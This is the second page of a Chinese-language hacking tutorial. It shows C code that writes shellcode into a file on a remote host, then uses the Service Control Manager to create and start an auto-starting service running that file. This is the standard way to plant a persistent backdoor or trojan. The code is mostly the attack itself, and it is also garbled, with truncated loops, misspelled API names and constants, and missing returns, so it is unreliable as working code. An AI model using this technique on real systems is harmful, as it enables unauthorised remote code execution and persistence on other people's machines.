2、开始把程序写到主机上吧!
BOOL SendFile(char *RemotePathAndFile) { HANDLE hRF; unsigned char ShellCode[]="write code here,such as /x90/x90"; int WrittenSize=0; int Lenth=sizeof(ShellCode); hRF=CreateFile(RemotePathAndFile, GENERIC_ALL,FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NUL L);//建立文件 if (hRF==INVALID_HANDLE_values) return FALSE; //写文件过程: for(int i=0;i if(!WriteFile(hRF,&ShellCode,1,&WrittenSize,NULL) return FALSE; Printf("Send file succeed!/n"); } |
3、就要成功了,最后一步啦!--启动服务!
步骤:a、启动服务控制管理器(SCM),获得以SCM_HANDLE为类型的hSCM句柄;
b、建立服务(CreateService),也是返回SCM_HANDLE型的句柄hSCS;
c、启动服务(StartService)
d、顺便提提:ControService可以控制服务的状态
如: ControlService(hSCS,SERVICE_CONTROL_STOP,NULL);
//停止服务
ControlService(hSCS,SERVICE_CONTROL_PAUSE,NULL);
//暂停服务
请看下面代码:
BOOL InstallService(char * Target,char * ServiceName,char * Filename,) { SC_HANDLE hSCM=NULL,hSCS=NULL; SERVICE_STATUS ServiceStatus; hSCM=OpenSCManager(Target,NULL,SC_MANAGER_ALL_ACCESS); hSCS=CreateService(hSCM, //句柄 ServiceName,//服务开始名 ServiceName,//显示服务名 SERVICE_ALL_ACCESS,//服务访问类型 SERVICE_WIN32_OWN_PROCESS,//服务类型 SERVICE_AUTO_START,//自动启动服务 SERVICE_ERROR_IGNORE,//忽略错误 FileName,//启动的文件名 NULL,//name of load ordering group (载入组名) NULL,//标签标识符 NULL,//相关性数组名 NULL,//帐户(当前) NULL);//密码(当前)
if(StartServic(hSCS, argc,//参数数 argv);//参数 { Sleep(30);//延时,开始启动服务 while(QueryServiceStatus(hSCS,&ServiceStatus) { if(ServiceStatus.dwCurrentState==SERVICE_START_PENDDING) Sleep(30); else break; } if(ServiceStatus.dwCurrentState==SERVICE_RUNNING) return TRUE; else FALSE; } } |
好了,终于完成了这三步,大家可以慢慢享受自己的劳动成果了!
注意:以上程序仅供参考,请在自己理解以后自己把它们写成完整的程序,不要直接照搬!
 
2/2 首页 上一页 1 2 |